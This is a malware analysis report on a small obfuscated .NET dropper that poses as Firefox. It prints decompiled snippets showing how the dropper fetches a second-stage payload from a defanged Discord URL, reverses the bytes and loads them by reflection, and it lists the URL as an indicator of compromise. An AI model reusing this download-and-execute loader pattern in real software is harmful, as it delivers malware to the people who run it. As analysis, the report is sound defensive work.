File Analysis - 2022:04:20

Files

1. PO_747474643.7z(5513b8e5c022575752d7e4f018e7f7a0a479475351fb56ec76e002a0b58b041c)

SUMMARY

PO_747474643 (PO) is a .NET executable. The original PE file name is "pou poo.exe" but had the arabic prefix عاجل to the name when retrieved. PO purports to be the web browser Firefox from Mozilla by utilizing the AssemblyCompany and AssemblyClass attributes. PO attempts to connect to a Discord server to retrieve a second stage payload.

STATIC PROPERTIES

PO is a .NET (v4.0.30319) executable that exhibits "pou poo.exe" as an original file name. PO is 17KB and has contains the following classes:

1. \u0002
2. \u0003
3. \u0004
4. \u0005
5. \u0006
6. \u0008
7. \u000E
8. Tag

Class Tag contains the binary's entry point. The code has been obfuscated with a non-contextual naming routine which makes identifying a method or variables purpose more cumbersome. PO leverages an always true/false 'if' statement opaque predicate technique to confuse dissassembly tools throughout the code (ie: if (8 != 0) { /*code block always executes*/ }). The Tag class is simple and calls shown below:

private static void LoginAttribute()
    {
       if (7 != 0) // opaque predicate
       {
         Application.EnableVisualStyles();
       }
       bool compatibleTextRenderingDefault = false;
       if (8 != 0)
       {
         Application.SetCompatibleTextRenderingDefault(compatibleTextRenderingDefault);
       }
       Form mainForm = new \u0002(); // execution path of malicious payload retrieval
       if (!false)
       {
         Application.Run(mainForm);
       }
    }

PO's exection flow is handled by instantiating new the new classes listed above one by one, where each class contains a method responsible for instantiating the next. PO excutes in the following way:

Tag --> \u0002 --> \u000E --> \u0006 --> \u0008 --> \u0005 --> \u0003

The class \u0003 is instantiated in a convoluted way and contains two methods of interest; ExcludeAttribute and ViewAttribute. Method ExcludeAttribute returns a byte array and takes a string as an argument. ExcludeAttribute handles the creation of the web request to the discord server. The method ViewAttribute is actually responsible for calling ExcludeAttribute and supplies the necessary argument string. ViewAttribute then deobfuscates the retrieved stream by re-writing the byte order from the end of the file going backwards toward the beginning. An abbreviated version of the methods are shown below:

private byte[] ExcludeAttribute(string init)
    {       /*
           * Some code ommited for brevity
           */
       MemoryStream memoryStream = new MemoryStream();	
       byte[] result;
       try
       {
          WebRequest webRequest = WebRequest.Create(new Uri(init));
          Stream responseStream = webRequest.GetResponse().GetResponseStream();
          responseStream.CopyTo(memoryStream);
          byte[] array = memoryStream2.ToArray();
          result = array;
       }
       return result;
    }

    internal byte[] ViewAttribute()
    {
       byte[] array = this.ExcludeAttribute("hxxps://discord[.]com/channels/@me/956150575911813140/965743467131187221");
       byte[] array2;
       if (-1 != 0)
       {
         array2 = array;
       }
       List<byte> list = new List<byte>();
       List<byte> list2;
       if (3 != 0)
       {
         list2 = list;
       }
       int num = array2.Length;
       int num2;
       if (true)
       {
         num2 = num;
       }
       while (num2-- > 0)
       {
         list2.Add(array2[num2]);
       }
       return list2.ToArray();
    }

Assembly assembly = (Assembly)typeof(Assembly).GetMethod(this.Text, types).Invoke(null, new object[]
    {
       new \u0003().parameter
    });

BEHAVIORAL PROPERTIES

PO retrieves control from a discord server. If no internet connection is available, an exception is raised and execution terminates just after PO spawns two blank windows titled "Form 2" and "Form 6". During our analysis we recieved an dialog exception box from the operating system with helpful information that helped us quickly identify the methods responsible for making the URI calls to the Discord server. We were not able to retrieve the next stage payload using PO due to either ActiveX Controls or SSL validation errors.

IOCs

urls

1. "hxxps://discord[.]com/channels/@me/956150575911813140/965743467131187221"